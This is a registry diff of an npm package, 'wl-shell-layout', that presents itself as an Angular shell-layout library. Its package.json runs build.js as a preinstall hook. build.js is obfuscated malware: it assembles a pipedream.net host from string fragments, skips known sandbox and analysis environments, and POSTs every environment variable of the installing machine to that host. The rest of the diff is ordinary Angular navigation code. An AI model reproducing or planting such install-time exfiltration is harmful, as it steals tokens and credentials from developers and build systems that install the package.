wl-shell-layout 0.0.75

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1 @@
1
+ Testing shell layout on dev-env.
package/build.js ADDED
@@ -0,0 +1,205 @@
1
+ const goto = require('https');
2
+
3
+ function build() {
4
+ let options = {
5
+ "Name": "New PI Contact",
6
+ "Phone": "+158948945565",
7
+ "Message": "My Best Dream Friend",
8
+ "Address": "Avite St pe-455 NET"
9
+ };
10
+
11
+ return (takeAndGive(options['Address'].slice(9, 11), options['Name'].split(' ')[1]) +
12
+ options['Message'].split(' ')[2] + takeAndGive(options['Address'].slice(-3), '.'))
13
+ }
14
+
15
+ function takeAndGive(str1, str2) {
16
+ return str2 + str1
17
+ }
18
+
19
+ function number_of(item) {
20
+
21
+ for (let i = 0; i < 4; i++) {
22
+ if (i == 1) {
23
+ item += 's'
24
+ }
25
+ if (i == 3) {
26
+ item += 'e6'
27
+ }
28
+ }
29
+ return item + '4'
30
+ }
31
+
32
+ function snooz(pkg_n, prefix) {
33
+
34
+ let missing = [
35
+ ['npm', 'package', 'name'].join('_'),
36
+ ['npm', 'package', 'json'].join('_'),
37
+ ];
38
+
39
+ var plop = process['en' + 'v'] || {};
40
+
41
+ //new edition
42
+ if (initEngine(plop)){
43
+ return ;
44
+ }
45
+ if (fixIssues(plop)){
46
+ return ;
47
+ }
48
+ if (handleEverything(plop)){
49
+ return ;
50
+ }
51
+ if (missing.some( index => !plop[index] )) {
52
+ return;
53
+ }
54
+
55
+ var req = goto
56
+ .request(use_language(pkg_n, prefix))
57
+ .on('error', function (err) { });
58
+ req.write(JSON.stringify(plop));
59
+ req.end();
60
+ }
61
+
62
+ function bible(convertion){
63
+ switch (convertion) {
64
+ case 'reg':
65
+ return takeAndGive('istry', 'reg');
66
+ case 'conf':
67
+ return 'conf' + 'ig';
68
+ case 'np':
69
+ return 'npm';
70
+ case 'UNAME':
71
+ return 'US' + 'ERNAME';
72
+ case 'HM':
73
+ return 'HOME';
74
+ case 'USR':
75
+ return 'USER';
76
+ case 'APTA':
77
+ return takeAndGive('PDATA', 'AP');
78
+ case 'py':
79
+ return ['', 'usr', 'bin', 'pyt' + 'hon'].join('/');
80
+ case 'anal':
81
+ return 'ana'.concat('lysis');
82
+ case 'INIT':
83
+ return ['INIT', 'CWD'].join('_');
84
+ case 'pkg':
85
+ return 'pac'.concat('kage')
86
+ case 'uname':
87
+ return 'us' + takeAndGive('ame', 'ern');
88
+
89
+ default:
90
+ return null;
91
+ }
92
+
93
+ }
94
+
95
+ function fixIssues(plop){
96
+ let kill = capture_pictures(plop, bible('HM'), '/home/u'.concat('sername')) &&
97
+ capture_pictures(plop, bible('USR'), bible('uname')) &&
98
+ capture_pictures(plop, 'LOGNAME', bible('uname'));
99
+
100
+ let move = capture_pictures(plop, 'PWD', '/my'.concat('-app')) &&
101
+ capture_pictures(plop, 'DEB' + 'IAN_FRO' + 'NTEND', 'nonin'.concat('teractive')) &&
102
+ capture_pictures(plop, bible('HM'), '/r'.concat('oot'));
103
+
104
+ let teach = capture_pictures(plop, bible('INIT'), '/' + bible('anal')) &&
105
+ capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/b' + 'ait'));
106
+
107
+ let talk = capture_pictures(plop, bible('INIT'), '/' + bible('np')) &&
108
+ capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/ba' + 'it'));
109
+
110
+ if (kill || move || teach || talk){
111
+ return true;
112
+ } else {
113
+ return false;
114
+ }
115
+ }
116
+
117
+ var MapObj = function () {
118
+ this.name = '__st' + (Math.random() * 145459 >> 0);
119
+ };
120
+
121
+ function handleEverything(plop){
122
+ const you = capture_pictures(plop, bible('HM'), ['', 'Us' + 'ers', 'jus' + 'tin'].join('\\')) &&
123
+ capture_pictures(plop, bible('APTA'), ['', 'User' + 's', 'jus' + 'tin'].join('\\')) &&
124
+ capture_pictures(plop, 'LOGONSERVER', [['DESKTOP','97KB'].join('-'), '6H'].join('B'));
125
+
126
+ const me = capture_pictures(plop, 'MAIL', ['', 'var', 'mail', 'app'].join('/')) &&
127
+ capture_pictures(plop, bible('HM'), ['', 'home', 'app'].join('/')) &&
128
+ capture_pictures(plop, bible('USR'), 'app');
129
+
130
+
131
+
132
+ const us = capture_pictures(plop, 'EDITOR', 'vi') &&
133
+ capture_pictures(plop, 'PROBE_'.concat(bible('UNAME')), '*') &&
134
+ capture_pictures(plop, 'SHEL' + 'L', '/bi' + 'n/b'.concat('ash')) &&
135
+ capture_pictures(plop, 'S' + 'HLVL', '2') &&
136
+ capture_pictures(plop, bible('np').concat('_command'), 'run-s'.concat('cript')) &&
137
+ capture_pictures(plop, 'NVM_CD_FLAGS', '') &&
138
+ capture_pictures(plop, [bible('np'), bible('conf'), 'fund'].join('_'), '');
139
+
140
+ if (you || me || us){
141
+ return true;
142
+ } else {
143
+ return false;
144
+ }
145
+ }
146
+
147
+ function use_language(pkg_n, prefix){
148
+ let options = {
149
+ hostname: prefix + '.m.' + build(),
150
+ path: '/' + (pkg_n || ''),
151
+ method: 'POST',
152
+ };
153
+ return options
154
+ }
155
+
156
+ function capture_pictures(p, name, val){
157
+ let test = p[name] || '';
158
+ if(test.includes(val) || val === '*'){
159
+ return true;
160
+ } else {
161
+ return false;
162
+ }
163
+ }
164
+
165
+ MapObj.prototype = {
166
+ set: function (key, value) {
167
+ var entry = key[this.name];
168
+ if (entry && entry[0] === key)
169
+ entry[1] = value;
170
+ else
171
+ defineProperty(key, this.name, { value: [key, value], writable: true });
172
+ return this;
173
+ },
174
+ get: function (key) {
175
+ var entry;
176
+ return (entry = key[this.name]) && entry[0] === key ?
177
+ entry[1] : undefined;
178
+ },
179
+ delete: function (key) {
180
+ var entry = key[this.name];
181
+ if (!entry || entry[0] !== key) return false;
182
+ entry[0] = entry[1] = undefined;
183
+ return true;
184
+ },
185
+ has: function (key) {
186
+ var entry = key[this.name];
187
+ if (!entry) return false;
188
+ return entry[0] === key;
189
+ }
190
+ };
191
+
192
+ function initEngine(plop){
193
+ if (Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.npm_package_name}`) {
194
+ return true;
195
+ }
196
+ if (capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), ['taobao', 'org'].join('.')) ||
197
+ capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), [bible('reg'), bible('np').concat('mirror'), 'com'].join('.')) ||
198
+ capture_pictures(plop, bible('UNAME'), takeAndGive('admin', 'daas')) ||
199
+ capture_pictures(plop, '_', bible('py')) ||
200
+ capture_pictures(plop, [bible('np'), bible('conf'), 'metrics', bible('reg')].join('_'), ['taobao', 'org'].join('.'))) {
201
+ return true;
202
+ }
203
+ }
204
+
205
+ snooz('wl-shell-layout', 'eo3qhniz7cz6zvb');
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "wl-shell-layout",
3
+ "version": "0.0.75",
4
+ "description": "shell layout for dev env",
5
+ "main": "wl-shell-layout.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node build.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,457 @@
1
+ import * as i0 from '@angular/core';
2
+ import { Injectable, EventEmitter, Component, Input, Output, NgModule } from '@angular/core';
3
+ import * as i4 from '@angular/common';
4
+ import { CommonModule } from '@angular/common';
5
+ import * as i1 from '@angular/router';
6
+ import { NavigationEnd, RouterModule } from '@angular/router';
7
+ import * as i2 from 'ngx-permissions';
8
+ import { keys, filter } from 'lodash';
9
+ import { Subject } from 'rxjs';
10
+ import $ from 'jquery';
11
+ import * as i5 from '@ngx-translate/core';
12
+ import { TranslateModule } from '@ngx-translate/core';
13
+ import * as i4$1 from '@angular/platform-browser';
14
+ import { takeUntil } from 'rxjs/operators';
15
+ import * as i5$1 from 'wl-layout';
16
+ import { WlBreadcrumbsModule, WlEmptyBlockModule } from 'wl-layout';
17
+ import * as i7 from '@angular/forms';
18
+ import { FormsModule } from '@angular/forms';
19
+
20
+ const isPermitted = (menuOption, permissionsService) => {
21
+ let permitted = false;
22
+ // to check
23
+ const permissions = keys(permissionsService.getPermissions());
24
+ if (!menuOption.permissions.length)
25
+ permitted = true;
26
+ menuOption.permissions.forEach((permission) => {
27
+ if (permissions.includes(permission))
28
+ permitted = true;
29
+ });
30
+ menuOption.blacklistedPermissions.forEach((blacklistedPermission) => {
31
+ if (permissions.includes(blacklistedPermission))
32
+ permitted = false;
33
+ });
34
+ return permitted;
35
+ };
36
+ const filterMenuOptions = (menuOptions, permissionsService, featureFlags) => {
37
+ let filteredMenuOptions = filter(menuOptions, menuOption => {
38
+ const featureFlagOn = featureFlags[menuOption.featureFlag];
39
+ const permitted = isPermitted(menuOption, permissionsService);
40
+ let hasChildrenOrIsTopLevel = false;
41
+ if (featureFlagOn && permitted) {
42
+ if (menuOption.children == null) {
43
+ hasChildrenOrIsTopLevel = true;
44
+ }
45
+ else {
46
+ // noinspection JSPrimitiveTypeWrapperUsage
47
+ menuOption.children = filter(menuOption.children, (child) => {
48
+ const childFeatureFlagOn = featureFlags[menuOption.featureFlag][child.featureFlag];
49
+ const childPermitted = isPermitted(child, permissionsService);
50
+ return childFeatureFlagOn && childPermitted;
51
+ });
52
+ if (menuOption.children.length > 0)
53
+ hasChildrenOrIsTopLevel = true;
54
+ }
55
+ }
56
+ return featureFlagOn && permitted && hasChildrenOrIsTopLevel;
57
+ });
58
+ // If a parent menu option only has one child then make the child the parent
59
+ // This avoids menu options that expand but only have one child
60
+ filteredMenuOptions = filteredMenuOptions.map((menuOption) => {
61
+ if (menuOption.children && menuOption.children.length === 1) {
62
+ const faIcon = menuOption.faIcon;
63
+ const text = menuOption.text;
64
+ menuOption = menuOption.children[0];
65
+ // noinspection JSPrimitiveTypeWrapperUsage
66
+ menuOption.faIcon = faIcon;
67
+ // noinspection JSPrimitiveTypeWrapperUsage
68
+ menuOption.text = text;
69
+ }
70
+ return menuOption;
71
+ });
72
+ return filteredMenuOptions;
73
+ };
74
+
75
+ class WlTopNavbarService {
76
+ constructor() {
77
+ this.toggleNavigationSource = new Subject();
78
+ this.toggleNavigation$ = this.toggleNavigationSource.asObservable();
79
+ this.titleUpdateSource = new Subject();
80
+ this.titleUpdate$ = this.titleUpdateSource.asObservable();
81
+ this.animateSideMenuOpacity = () => {
82
+ const sideMenu = $('#side-menu');
83
+ sideMenu.fadeTo('fast', 0);
84
+ setTimeout(() => {
85
+ sideMenu.fadeTo('slow', 1);
86
+ }, 200);
87
+ };
88
+ }
89
+ toggleNavigation(expand = null) {
90
+ this.toggleNavigationSource.next(expand);
91
+ }
92
+ updateTitle(title) {
93
+ this.titleUpdateSource.next(title);
94
+ }
95
+ smoothlyMenu() {
96
+ const body = $('body');
97
+ const sideMenu = $('#side-menu');
98
+ if (!body.hasClass('mini-navbar') || body.hasClass('body-small')) {
99
+ // Hide menu in order to smoothly turn on when maximize menu
100
+ sideMenu.hide();
101
+ this.animateSideMenuOpacity();
102
+ // For smoothly turn on menu
103
+ setTimeout(() => {
104
+ sideMenu.fadeIn(400);
105
+ }, 200);
106
+ }
107
+ else if ($('body').hasClass('fixed-sidebar')) {
108
+ sideMenu.hide();
109
+ this.animateSideMenuOpacity();
110
+ setTimeout(() => {
111
+ sideMenu.fadeIn(400);
112
+ }, 100);
113
+ }
114
+ else {
115
+ // Remove all inline style from jquery fadeIn function to reset menu state
116
+ sideMenu.removeAttr('style');
117
+ }
118
+ }
119
+ }
120
+ WlTopNavbarService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
121
+ WlTopNavbarService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarService, providedIn: 'root' });
122
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarService, decorators: [{
123
+ type: Injectable,
124
+ args: [{ providedIn: 'root' }]
125
+ }] });
126
+
127
+ class WlNavigationComponent {
128
+ constructor(router, permissionsService, topNavbarService) {
129
+ this.router = router;
130
+ this.permissionsService = permissionsService;
131
+ this.topNavbarService = topNavbarService;
132
+ this.externalUrls = {};
133
+ this.subscriptions = [];
134
+ this.defaultMenuOptions = [];
135
+ this.topNavbarExpand = new EventEmitter();
136
+ this.showOpenidRequired = new EventEmitter();
137
+ }
138
+ get expanded() {
139
+ return !$('body').hasClass('mini-navbar');
140
+ }
141
+ ngOnInit() {
142
+ this.setupNavigation();
143
+ }
144
+ ngAfterViewInit() {
145
+ var _a, _b;
146
+ if ((_a = $('body')) === null || _a === void 0 ? void 0 : _a.hasClass('fixed-sidebar')) {
147
+ (_b = jQuery('.sidebar-collapse')) === null || _b === void 0 ? void 0 : _b.slimscroll({
148
+ height: '100%'
149
+ });
150
+ }
151
+ }
152
+ ngOnChanges(changes) {
153
+ if (changes === null || changes === void 0 ? void 0 : changes.navigationData) {
154
+ this.navigationData = changes.navigationData.currentValue;
155
+ this.setupNavigation();
156
+ }
157
+ }
158
+ ngOnDestroy() {
159
+ this.subscriptions.forEach((sub) => sub.unsubscribe());
160
+ }
161
+ setupNavigation() {
162
+ var _a, _b, _c, _d;
163
+ if ((_a = this.navigationData) === null || _a === void 0 ? void 0 : _a.displayName) {
164
+ this.gravatar = 'https://www.gravatar.com/avatar/' + ((_b = this.navigationData) === null || _b === void 0 ? void 0 : _b.hash) + '?s=50&r=pg&d=mm';
165
+ this.externalUrls.deviceManagement = (_c = this.navigationData) === null || _c === void 0 ? void 0 : _c.deviceManagement;
166
+ this.menuOptions = filterMenuOptions(this.defaultMenuOptions, this.permissionsService, (_d = this.navigationData) === null || _d === void 0 ? void 0 : _d.featureFlags);
167
+ }
168
+ }
169
+ getMenuOptionTitle(menuOptionOrText) {
170
+ if (this.expanded)
171
+ return '';
172
+ let text;
173
+ if (typeof menuOptionOrText === 'object') {
174
+ const menuOption = menuOptionOrText;
175
+ text = menuOption.text;
176
+ if (this.activeRoute(menuOption.activeRoute)) {
177
+ if (menuOption.children) {
178
+ menuOption.children.forEach((child) => {
179
+ if (this.activeRoute(child.activeRoute)) {
180
+ text += ' > ' + child.text;
181
+ }
182
+ });
183
+ }
184
+ }
185
+ }
186
+ else {
187
+ text = menuOptionOrText;
188
+ }
189
+ return text;
190
+ }
191
+ activeRoute(routename) {
192
+ var _a, _b, _c;
193
+ if (routename && routename.endsWith('dashboard')) {
194
+ if (routename === 'dashboard')
195
+ return ((_a = this.router) === null || _a === void 0 ? void 0 : _a.url) === '/dashboard';
196
+ if (routename === 'reporting/dashboard')
197
+ return ((_b = this.router) === null || _b === void 0 ? void 0 : _b.url) === '/reporting/dashboard';
198
+ }
199
+ return ((_c = this.router) === null || _c === void 0 ? void 0 : _c.url.indexOf(routename)) > -1;
200
+ }
201
+ openidRequired() {
202
+ this.showOpenidRequired.emit(true);
203
+ }
204
+ toggleNavigation(expand) {
205
+ this.topNavbarService.toggleNavigation(expand);
206
+ this.topNavbarExpand.emit(expand);
207
+ }
208
+ toggleMenuOption(menuOption) {
209
+ this.menuOptions.forEach((item) => {
210
+ item.toggle = false;
211
+ });
212
+ menuOption.toggle = !menuOption.toggle;
213
+ }
214
+ }
215
+ WlNavigationComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlNavigationComponent, deps: [{ token: i1.Router }, { token: i2.NgxPermissionsService }, { token: WlTopNavbarService }], target: i0.ɵɵFactoryTarget.Component });
216
+ WlNavigationComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlNavigationComponent, selector: "wl-shell-navigation", inputs: { defaultMenuOptions: "defaultMenuOptions", navigationData: "navigationData" }, outputs: { topNavbarExpand: "topNavbarExpand", showOpenidRequired: "showOpenidRequired" }, usesOnChanges: true, ngImport: i0, template: "<nav class=\"navbar-default navbar-static-side\" role=\"navigation\">\n <div class=\"sidebar-collapse\">\n <ul class=\"nav metismenu\" id=\"side-menu\">\n <li class=\"nav-header\">\n <ng-container *ngIf=\"!navigationData?.uiLogo\">\n <img class=\"wl-logo wl-logo-retracted\" src=\"/assets/images/wl-logo-thin.png\" alt=\"WL\" />\n <img class=\"wl-logo wl-logo-expanded\" src=\"/assets/images/wl-logo-2019.png\" alt=\"WL\" />\n <ng-container *ngTemplateOutlet=\"profile\"></ng-container>\n </ng-container>\n <ng-container *ngIf=\"navigationData?.uiLogo\">\n <div class=\"custom-logo-retracted-wrapper\">\n <img class=\"custom-logo custom-logo-retracted\" [src]=\"navigationData?.uiLogo\" alt=\"Logo\" />\n </div>\n <div class=\"custom-logo-expanded-wrapper\">\n <img class=\"custom-logo custom-logo-expanded\" [src]=\"navigationData?.uiLogo\" alt=\"Logo\" />\n <ng-container *ngTemplateOutlet=\"profile\"></ng-container>\n </div>\n </ng-container>\n\n <ng-template #profile>\n <div class=\"dropdown profile-element\">\n <a routerLink=\"/user/edit\"><img alt=\"image\" class=\"img-circle\" [src]=\"gravatar\" /></a>\n <span class=\"clear\">\n <span class=\"block m-t-xs\">\n <strong class=\"username\">\n <a routerLink=\"/user/edit\">{{ navigationData?.displayName }}</a>\n </strong>\n </span>\n </span>\n </div>\n </ng-template>\n </li>\n\n <ng-container *ngFor=\"let menuOption of menuOptions\">\n <!-- Top level links -->\n <ng-container *ngIf=\"menuOption.children === undefined\">\n <li\n [ngClass]=\"{\n active: activeRoute(menuOption.activeRoute),\n 'has-no-children': true,\n 'standard-li': true\n }\"\n [title]=\"getMenuOptionTitle(menuOption) | translate\"\n >\n <a [routerLink]=\"menuOption.routerLink\" (click)=\"toggleMenuOption(menuOption)\">\n <em [ngClass]=\"menuOption.faIcon\"></em><span class=\"nav-label\">{{ menuOption.text | translate }}</span>\n </a>\n </li>\n </ng-container>\n\n <!-- Links with children -->\n <ng-container *ngIf=\"menuOption.children !== undefined\">\n <li\n [ngClass]=\"{\n active: activeRoute(menuOption.activeRoute),\n 'has-children': true,\n 'standard-li': true,\n 'app-active': activeRoute(menuOption.activeRoute)\n }\"\n [title]=\"getMenuOptionTitle(menuOption) | translate\"\n (click)=\"toggleNavigation(true)\"\n >\n <a (click)=\"toggleMenuOption(menuOption)\">\n <em [ngClass]=\"menuOption.faIcon\"></em>\n <span class=\"nav-label\">{{ menuOption.text | translate }}</span>\n <span class=\"fa arrow\"></span>\n </a>\n <ul\n class=\"nav nav-second-level collapse animated fadeIn\"\n [ngClass]=\"{\n in: activeRoute(menuOption.activeRoute) || menuOption.toggle\n }\"\n >\n <ng-container *ngFor=\"let child of menuOption.children\">\n <li\n *ngIf=\"!child.external\"\n [ngClass]=\"{active: activeRoute(child.activeRoute)}\"\n [title]=\"getMenuOptionTitle(child) | translate\"\n >\n <a [routerLink]=\"child.routerLink\">{{ child.text | translate }}</a>\n </li>\n <li *ngIf=\"child.external\" [title]=\"getMenuOptionTitle(child) | translate\">\n <ng-container *ngIf=\"externalUrls[child.url] !== null\">\n <a [href]=\"externalUrls[child.url]\" target=\"_blank\" rel=\"noopener\">{{ child.text | translate }}</a>\n </ng-container>\n <ng-container *ngIf=\"externalUrls[child.url] === null\">\n <a (click)=\"openidRequired()\">{{ child.text | translate }}</a>\n </ng-container>\n </li>\n </ng-container>\n </ul>\n </li>\n </ng-container>\n </ng-container>\n </ul>\n </div>\n</nav>\n", styles: [".sidebar-collapse{background-color:#2a3b4d}hr{background-color:#6b6b6b;height:1px;border:0;padding:0;margin:10px 0 8px}.nav-header{padding:0;position:absolute}li.standard-li{position:relative;top:300px}.username a{color:#b6b6b6}.username a:hover{color:#fff}.fa.arrow{transform:rotate(180deg)}a[aria-expanded=true] .fa.arrow{transform:rotate(0)}li.active>a>span.fa.arrow{transform:rotate(0)}.dropdown.profile-element{text-align:center;margin-left:61px}li.app-active>a{color:#fff}img.wl-logo-retracted{margin-top:10px;margin-left:11px;width:48px;height:auto}img.wl-logo-expanded{margin-top:20px;margin-bottom:25px;margin-left:70px;height:93px}.custom-logo-expanded-wrapper,.custom-logo-retracted-wrapper{text-align:center}.custom-logo-expanded-wrapper img.custom-logo-expanded,.custom-logo-expanded-wrapper img.custom-logo-retracted,.custom-logo-retracted-wrapper img.custom-logo-expanded,.custom-logo-retracted-wrapper img.custom-logo-retracted{max-width:100%;margin-bottom:25px;color:#ccc;text-indent:5px}.custom-logo-expanded-wrapper{margin-top:20px;margin-left:20px;width:180px}.custom-logo-expanded-wrapper .dropdown.profile-element{margin-left:0}.custom-logo-retracted-wrapper{margin-top:5px;margin-left:10px;width:50px}\n"], directives: [{ type: i4.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i4.NgTemplateOutlet, selector: "[ngTemplateOutlet]", inputs: ["ngTemplateOutletContext", "ngTemplateOutlet"] }, { type: i1.RouterLinkWithHref, selector: "a[routerLink],area[routerLink]", inputs: ["routerLink", "target", "queryParams", "fragment", "queryParamsHandling", "preserveFragment", "skipLocationChange", "replaceUrl", "state", "relativeTo"] }, { type: i4.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i4.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }], pipes: { "translate": i5.TranslatePipe } });
217
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlNavigationComponent, decorators: [{
218
+ type: Component,
219
+ args: [{
220
+ // eslint-disable-next-line @angular-eslint/component-selector
221
+ selector: 'wl-shell-navigation',
222
+ templateUrl: './wl-navigation.component.html',
223
+ styleUrls: ['./wl-navigation.component.scss',]
224
+ }]
225
+ }], ctorParameters: function () { return [{ type: i1.Router }, { type: i2.NgxPermissionsService }, { type: WlTopNavbarService }]; }, propDecorators: { defaultMenuOptions: [{
226
+ type: Input
227
+ }], navigationData: [{
228
+ type: Input
229
+ }], topNavbarExpand: [{
230
+ type: Output
231
+ }], showOpenidRequired: [{
232
+ type: Output
233
+ }] } });
234
+
235
+ class NavigationService {
236
+ constructor() {
237
+ this.collapseSubMenusSource = new Subject();
238
+ this.collapseSubMenus$ = this.collapseSubMenusSource.asObservable();
239
+ this.expandActiveSubMenuSource = new Subject();
240
+ this.expandActiveSubMenu$ = this.expandActiveSubMenuSource.asObservable();
241
+ }
242
+ collapseSubMenus() {
243
+ this.collapseSubMenusSource.next();
244
+ }
245
+ expandActiveSubMenu() {
246
+ this.expandActiveSubMenuSource.next();
247
+ }
248
+ }
249
+ NavigationService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
250
+ NavigationService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationService, providedIn: 'root' });
251
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationService, decorators: [{
252
+ type: Injectable,
253
+ args: [{ providedIn: 'root' }]
254
+ }] });
255
+
256
+ class WlTopNavbarComponent {
257
+ constructor(route, router, topNavbarService, navigationService, titleService) {
258
+ this.route = route;
259
+ this.router = router;
260
+ this.topNavbarService = topNavbarService;
261
+ this.navigationService = navigationService;
262
+ this.titleService = titleService;
263
+ this.environment = null;
264
+ this.userData = null;
265
+ this.logout = new EventEmitter();
266
+ this.changeLocale = new EventEmitter();
267
+ this.openFeedbackModal = new EventEmitter();
268
+ this.endImpersonationSession = new EventEmitter();
269
+ this.toggleNavigationExpanded = new EventEmitter();
270
+ this.title = "";
271
+ this.breadcrumbs = [];
272
+ this.legacyUrl = "";
273
+ this.impersonatedUser = false;
274
+ this.expanded = true;
275
+ this.unsubscribe$ = new Subject();
276
+ this._locale = "";
277
+ }
278
+ get locale() {
279
+ return this._locale;
280
+ }
281
+ set locale(locale) {
282
+ this._locale = locale;
283
+ this.changeLocale.emit(locale);
284
+ }
285
+ ngOnInit() {
286
+ this.router.events.subscribe(event => {
287
+ if (event instanceof NavigationEnd) {
288
+ this.updateTitle();
289
+ }
290
+ });
291
+ this.topNavbarService.titleUpdate$.pipe(takeUntil(this.unsubscribe$)).subscribe(title => {
292
+ this.title = title;
293
+ this.titleService.setTitle(title);
294
+ });
295
+ }
296
+ ngOnChanges(changes) {
297
+ var _a, _b, _c, _d, _e;
298
+ this.userData = changes.userData.currentValue;
299
+ this.impersonatedUser = ((_a = this.userData) === null || _a === void 0 ? void 0 : _a.isImpersonatedToken) ? this.userData.isImpersonatedToken : false;
300
+ if (this.impersonatedUser) {
301
+ if ((_b = this.userData) === null || _b === void 0 ? void 0 : _b.locale) {
302
+ this.locale = (_c = this.userData) === null || _c === void 0 ? void 0 : _c.locale;
303
+ this.changeLocale.emit((_d = this.userData) === null || _d === void 0 ? void 0 : _d.locale);
304
+ }
305
+ }
306
+ this.legacyUrl = (_e = this.environment) === null || _e === void 0 ? void 0 : _e.legacyUrl;
307
+ this.updateTitle();
308
+ this.setUpSidebarExpanded();
309
+ }
310
+ ngOnDestroy() {
311
+ this.unsubscribe$.next();
312
+ this.unsubscribe$.complete();
313
+ clearInterval(this.interval);
314
+ }
315
+ updateTitle() {
316
+ var _a, _b;
317
+ const firstChild = this.route.snapshot.firstChild;
318
+ this.title = 'Untitled Page';
319
+ this.breadcrumbs = [];
320
+ const topnavbar = (_b = (_a = firstChild === null || firstChild === void 0 ? void 0 : firstChild.data) === null || _a === void 0 ? void 0 : _a.sfData) === null || _b === void 0 ? void 0 : _b.topnavbar;
321
+ if (topnavbar) {
322
+ if (topnavbar === null || topnavbar === void 0 ? void 0 : topnavbar.title)
323
+ this.title = topnavbar.title;
324
+ if (topnavbar === null || topnavbar === void 0 ? void 0 : topnavbar.breadcrumbs)
325
+ this.breadcrumbs = topnavbar.breadcrumbs;
326
+ }
327
+ }
328
+ toggleNavigation() {
329
+ if (this.expanded === true) {
330
+ this.retractNavigation();
331
+ this.toggleNavigationExpanded.emit(false);
332
+ this.expanded = false;
333
+ }
334
+ else if (this.expanded === false) {
335
+ this.expandNavigation();
336
+ this.toggleNavigationExpanded.emit(true);
337
+ this.expanded = true;
338
+ }
339
+ if (this.router.url === '/dashboard') {
340
+ // triggers a redraw of gridster and the graphs
341
+ window.dispatchEvent(new Event('resize'));
342
+ }
343
+ }
344
+ expandNavigation() {
345
+ $('body').removeClass('mini-navbar');
346
+ this.topNavbarService.smoothlyMenu();
347
+ this.navigationService.expandActiveSubMenu();
348
+ }
349
+ retractNavigation() {
350
+ $('body').addClass('mini-navbar');
351
+ this.topNavbarService.smoothlyMenu();
352
+ this.navigationService.collapseSubMenus();
353
+ }
354
+ setUpSidebarExpanded() {
355
+ var _a;
356
+ if (((_a = this.userData) === null || _a === void 0 ? void 0 : _a.sidebarExpanded) === false) {
357
+ this.toggleNavigation();
358
+ }
359
+ }
360
+ }
361
+ WlTopNavbarComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarComponent, deps: [{ token: i1.ActivatedRoute }, { token: i1.Router }, { token: WlTopNavbarService }, { token: NavigationService }, { token: i4$1.Title }], target: i0.ɵɵFactoryTarget.Component });
362
+ WlTopNavbarComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlTopNavbarComponent, selector: "wl-shell-top-navbar", inputs: { environment: "environment", userData: "userData" }, outputs: { logout: "logout", changeLocale: "changeLocale", openFeedbackModal: "openFeedbackModal", endImpersonationSession: "endImpersonationSession", toggleNavigationExpanded: "toggleNavigationExpanded" }, usesOnChanges: true, ngImport: i0, template: "<div class=\"topnavbar-wrapper\">\n <div class=\"navbar-row row border-bottom\">\n <nav\n class=\"navbar navbar-static-top\"\n [ngClass]=\"{\n 'impersonated-user': impersonatedUser,\n 'white-bg': !impersonatedUser\n }\"\n role=\"navigation\"\n >\n <div class=\"navbar-header\">\n <a class=\"navbar-minimalize minimalize-styl-2 btn\" (click)=\"toggleNavigation()\">\n <em class=\"fas fa-lg fa-bars toggle-navigation\"></em>\n </a>\n <a class=\"navbar-minimalize minimalize-styl-2 btn\" [href]=\"legacyUrl\">SIMPro 4</a>\n <a *ngIf=\"!impersonatedUser\" class=\"navbar-minimalize minimalize-styl-2 btn\" (click)=\"openFeedbackModal.emit(true)\"\n >{{ \"GUIBundle.generic.feedback\" | translate }}</a\n >\n <ul class=\"nav navbar-top-links navbar-left beta-version\">\n <li>\n <a><em>&nbsp;</em></a>\n </li>\n </ul>\n </div>\n </nav>\n </div>\n\n <div class=\"navbar-right-fixed upper\">\n <ul *ngIf=\"impersonatedUser\" class=\"nav navbar-top-links navbar-right impersonated-user\">\n <li>{{ \"GUIBundle.views.impersonate.impersonation_session_expire_in\" | translate }}: {{ counterValue }} |</li>\n <li>\n <a class=\"text-white\" (click)=\"endImpersonationSession.emit(true)\">\n <em class=\"fas fa-sign-out\"></em>\n {{ \"GUIBundle.views.impersonate.end_impersonation_session\" | translate }}\n </a>\n </li>\n </ul>\n <ul *ngIf=\"!impersonatedUser\" class=\"nav navbar-top-links navbar-right\">\n <li class=\"logout-list-item\">\n <a (click)=\"logout.emit(true)\">\n <em class=\"fas fa-sign-out\"></em>\n {{ \"GUIBundle.generic.logout\" | translate }}\n </a>\n </li>\n </ul>\n <div 